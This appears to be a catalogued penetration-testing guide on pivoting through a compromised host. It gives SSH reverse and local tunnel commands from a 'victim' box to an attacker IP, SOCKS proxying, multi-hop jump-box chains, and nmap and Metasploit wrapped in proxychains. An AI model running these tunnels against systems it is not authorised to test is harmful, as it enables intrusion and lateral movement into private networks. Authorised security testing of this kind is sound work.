Pivoting
Documents four SSH tunneling techniques for pivoting through a compromised host to reach internal networks during penetration tests.
What this file does
Documents four SSH tunneling techniques for pivoting through a compromised host to reach internal networks during penetration tests.
When to use it
- You need to route tools through a victim machine to scan internal subnets
- You want to proxy a single port like RDP back to your attack host
- You need to tunnel all traffic through a victim without opening a local port
- You are setting up a multi-hop SSH chain through jump boxes
Assumes this stack
Pivoting
Setting up ProxyChains
Allows you to run commands from your kali machine across a tunnel from your victim to other machines the victim is logically connected to
Greater than OpenSSH 7.6
If attacking a victim running OpenSSH version lower than 7.6, your process will be different. Older versions don't support -R and have to use a two-way proxy with -D
TODO: Figure out this process
On Attacker Box
Open /etc/proxychains4.conf.
Comment strictchain and uncomment dynamicchain. Uncomment quitemode. Comment proxydns. Then change the default config at the bottom from socks4 127.0.0.1 9080 to socks5 and whatever port you want to use.
Note: For RDP, make sure xclip is installed.
Make sure that SSH is listening on Attacker Box
Sudo systemctl start ssh.service
If running over the internet, make sure port forwarding is open and pointing your external port to your internal attacker box interface
On Victim Box
ssh -N -f -R 127.0.0.1:9080 attacker_username@attacker_IP -p unique_pivot_port
This only requires an ssh client on the victim machine which is extremely common. Only other thing required it to start ssh on your attacker box, as well as a port forwarding rule if it's going over the internet.
On Attacker Box
Sudo proxychains nmap --top-ports=20 -sT -sV -sC -v --open -Pn IP_Address
Sudo proxychains nmap -iL scope -F -sT -v -Pn | tee fast_scan
You can run wrap almost any tool inside of proxychains to force it through the ssh tunnel, including things like metasploit/msfconsole. Extremely useful to utilize proxy 'fun' even if your meta module/other tool doesn't support proxy configuration.
Wrapping Metasploit inside of Proxychains
sudo proxychains msfconsole
This prevents you from having to setup proxies within each module in meta. Some modules don't support proxies so just another layer of difficulty that proxychains helps us avoid.
Proxy Individual Port like RDP from Victim Back to Host
Allows you to hit individual port that is open on the victim machine like RDP/VNC after you've owned the machine via an exploit
On Target
ssh -R 33389:localhost:3389 $Username@$Proxy_IP -p $Proxy_Port
On Proxy
ssh -R 4545:locahost:33389 $Username@$Jumpbox_Hostname -p $Jumpbox_Port
On Jumpbox
sudo systemctl start ssh
Local Kali
ssh -L 3389:localhost:4545 $Username@$Jumpbox_Hostname -p $Jumpbox_Port
On Host
rdp:localhost:3389
Proxy All Traffic Through Victim (Requires opening SSH as a Service on the victim on 127.0.0.1 and known local ssh credentials)
On Victim
ssh -D 1080 -N -f $local_user@127.0.0.1
ssh -R 10000:localhost:1080 $Username@$Proxy_IP -p $Proxy_Port
On Proxy
sudo systemctl start ssh
On Jumpbox
ssh -L 8887:localhost:10000 $Username@Proxy_IP -p $Proxy_Port
On Host
ssh -L 8887:localhost:8887 $Username@Local_Kali
If Running Burp Suite
Point burp suite SOCKS5 proxy to 8887 in Burp Network Settings Point foxyproxy settings to 8080 HTTPS
Should then be able to hit any target on the internal network of your victim directly in proxy browser
Pivot through a victim without opening a local port
(in cases when you don't have access to ssh server)(have to change your target IP when interacting with other internal targets!)
On Victim (will have to exit ssh connection to change targets!)
ssh -R 10000:$TARGET_IP:$TARGET_PORT $Username@$Proxy_IP
On Proxy/VPS
sudo systemctl start ssh.
On Jumpbox
ssh -L 8887:localhost:10000 $Username@$Proxy_IP
On Host
ssh -L 8887:localhost:8887 $Username@$Jumpbox_IP
If Running Burp suite (alernative to above) Point Burp Suite SOCKS5 proxy to 8887 in Burp Network Settings Point foxyproxy settings to 8080 HTTPS
What's inside
4 pivot techniques, each with numbered steps and code examples for attacker, victim, proxy, jumpbox, and host
Change this for your project
- Replace
attacker_usernamewith your own SSH username - Replace
attacker_IPwith your attacker box's IP address - Replace
unique_pivot_portwith your chosen port number - Replace
$Username,$Proxy_IP,$Proxy_Port,$Jumpbox_Hostname,$Jumpbox_Portwith actual values
Where it goes
Keep it in your repository where the agent or team that needs it will read it.
Worth borrowing
- Wrapping msfconsole inside proxychains to avoid per-module proxy setup
- Using SSH -R to create reverse tunnels from victim to attacker
- Chaining multiple SSH -L and -R commands to traverse multiple hops
Related Documents
Video/Content Producer
Defines a video/content producer role with script structures, hook formulas, storyboard templates, and platform-specific formats for short-form and long-form video production.
Media Handling Playbook - Zyeuté v3
Documents upload, storage, optimization, delivery, and edge-case handling for images, videos, and audio in a social app.
Visual Truth Engine: Product-Market Fit & Go-to-Market Strategy
Outlines a product-market fit strategy and go-to-market plan for a B2B SaaS tool that automates proof asset creation for video creators.
Devin Triage Playbook
Defines a 7-phase automated triage playbook for Devin to analyze alerts, find root causes, implement fixes, and notify teams.